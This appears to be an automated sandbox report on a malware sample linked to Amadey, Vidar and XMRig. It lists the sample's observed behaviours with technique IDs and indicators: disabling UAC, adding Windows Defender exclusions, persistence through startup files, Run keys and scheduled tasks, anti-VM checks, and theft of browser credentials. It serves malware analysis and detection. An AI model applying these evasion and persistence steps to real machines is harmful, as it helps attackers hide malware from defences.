amadey | 221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Windows security bypass 2 TTPs 10 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe = "0"	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\S0joDFmEKhW9aZs7fblT0cax.exe = "0"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\0cNLOVDfNfVRx8L5VwPul2iJ.exe = "0"	0cNLOVDfNfVRx8L5VwPul2iJ.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral1/memory/2056-577-0x000000013FA20000-0x000000013FF63000-memory.dmp	xmrig

Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SYGwPl7w94kZlPlADH5czzf2.exe
File created	C:\Windows\System32\drivers\etc\hosts	updater.exe

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
1208	netsh.exe
2788	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Drops startup file 8 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\S2Dp4I995hP2UwZ0xm1vEJO5.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\USvqEmjwsheYGe0bCoQPTst5.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\o5vrFaAmj0XNC4sn4aOiH0An.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\afBYaalbZJJHBomiFNOMJNDY.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RUaYEWWgo2dSChRiSK5eewp5.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QEL6TuJsMrVzcihXD2CQHcZW.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qH4UMov84DIpVv8q6hm92UYX.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5m6vZ5hd3O5TmRIYrOqDNycD.bat	InstallUtil.exe

Executes dropped EXE 19 IoCs

pid	Process
1348	3l4azoK3W8Xrvm41Thd5vKZN.exe
1880	nhdues.exe
2052	0cNLOVDfNfVRx8L5VwPul2iJ.exe
2236	SYGwPl7w94kZlPlADH5czzf2.exe
2804	YmWdJEsS1RtBob6x9h3TEZqy.exe
2532	5Tu2GaEzavAIU49thtakBe4k.exe
2324	a02rSMFwjEOU0V0gReWyWVqU.exe
2040	S0joDFmEKhW9aZs7fblT0cax.exe
2736	NRydrnrIpZ9s0SWegUXg8YIH.exe
604	Install.exe
2564	Install.exe
472	Process not Found
2056	updater.exe
2156	nhdues.exe
2660	S0joDFmEKhW9aZs7fblT0cax.exe
1704	0cNLOVDfNfVRx8L5VwPul2iJ.exe
1068	nhdues.exe
808	csrss.exe
1668	csrss.exe

Loads dropped DLL 45 IoCs

pid	Process
2628	InstallUtil.exe
1348	3l4azoK3W8Xrvm41Thd5vKZN.exe
2628	InstallUtil.exe
2628	InstallUtil.exe
2628	InstallUtil.exe
2628	InstallUtil.exe
2628	InstallUtil.exe
2628	InstallUtil.exe
2628	InstallUtil.exe
2324	a02rSMFwjEOU0V0gReWyWVqU.exe
2628	InstallUtil.exe
2628	InstallUtil.exe
2628	InstallUtil.exe
2324	a02rSMFwjEOU0V0gReWyWVqU.exe
2736	NRydrnrIpZ9s0SWegUXg8YIH.exe
2736	NRydrnrIpZ9s0SWegUXg8YIH.exe
2736	NRydrnrIpZ9s0SWegUXg8YIH.exe
2736	NRydrnrIpZ9s0SWegUXg8YIH.exe
604	Install.exe
604	Install.exe
604	Install.exe
604	Install.exe
2564	Install.exe
2564	Install.exe
2564	Install.exe
2532	5Tu2GaEzavAIU49thtakBe4k.exe
2532	5Tu2GaEzavAIU49thtakBe4k.exe
2368	rundll32.exe
2368	rundll32.exe
2368	rundll32.exe
2368	rundll32.exe
3032	rundll32.exe
3032	rundll32.exe
3032	rundll32.exe
3032	rundll32.exe
836	rundll32.exe
836	rundll32.exe
836	rundll32.exe
836	rundll32.exe
2104	WerFault.exe
2104	WerFault.exe
1704	0cNLOVDfNfVRx8L5VwPul2iJ.exe
2660	S0joDFmEKhW9aZs7fblT0cax.exe
2660	S0joDFmEKhW9aZs7fblT0cax.exe
1704	0cNLOVDfNfVRx8L5VwPul2iJ.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0006000000016cfe-305.dat	upx
behavioral1/files/0x0006000000016cfe-308.dat	upx
behavioral1/files/0x0006000000016cfe-307.dat	upx
behavioral1/memory/2324-325-0x00000000012D0000-0x000000000181D000-memory.dmp	upx
behavioral1/memory/2324-444-0x00000000012D0000-0x000000000181D000-memory.dmp	upx

Windows security modification 2 TTPs 11 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe = "0"	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\S0joDFmEKhW9aZs7fblT0cax.exe = "0"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\0cNLOVDfNfVRx8L5VwPul2iJ.exe = "0"	0cNLOVDfNfVRx8L5VwPul2iJ.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	S0joDFmEKhW9aZs7fblT0cax.exe

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	0cNLOVDfNfVRx8L5VwPul2iJ.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2004 set thread context of 2628	2004	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2056 set thread context of 1336	2056	updater.exe	114
PID 2056 set thread context of 1600	2056	updater.exe	127

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	S0joDFmEKhW9aZs7fblT0cax.exe
File opened (read-only)	\??\VBoxMiniRdrDN	0cNLOVDfNfVRx8L5VwPul2iJ.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	SYGwPl7w94kZlPlADH5czzf2.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss\csrss.exe	0cNLOVDfNfVRx8L5VwPul2iJ.exe
File created	C:\Windows\Tasks\bbEHDLchLvdqsnMPbG.job	schtasks.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20231011015645.cab	makecab.exe
File opened for modification	C:\Windows\rss	S0joDFmEKhW9aZs7fblT0cax.exe
File created	C:\Windows\rss\csrss.exe	S0joDFmEKhW9aZs7fblT0cax.exe
File opened for modification	C:\Windows\rss	0cNLOVDfNfVRx8L5VwPul2iJ.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2296	sc.exe
2352	sc.exe
2216	sc.exe
1420	sc.exe
2260	sc.exe
1324	sc.exe
748	sc.exe
3016	sc.exe
2112	sc.exe
1992	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	5Tu2GaEzavAIU49thtakBe4k.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	5Tu2GaEzavAIU49thtakBe4k.exe

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2676	schtasks.exe
2800	schtasks.exe
2416	schtasks.exe
1968	schtasks.exe
1080	schtasks.exe
1888	schtasks.exe
1884	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b061d22be6fbd901	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	S0joDFmEKhW9aZs7fblT0cax.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
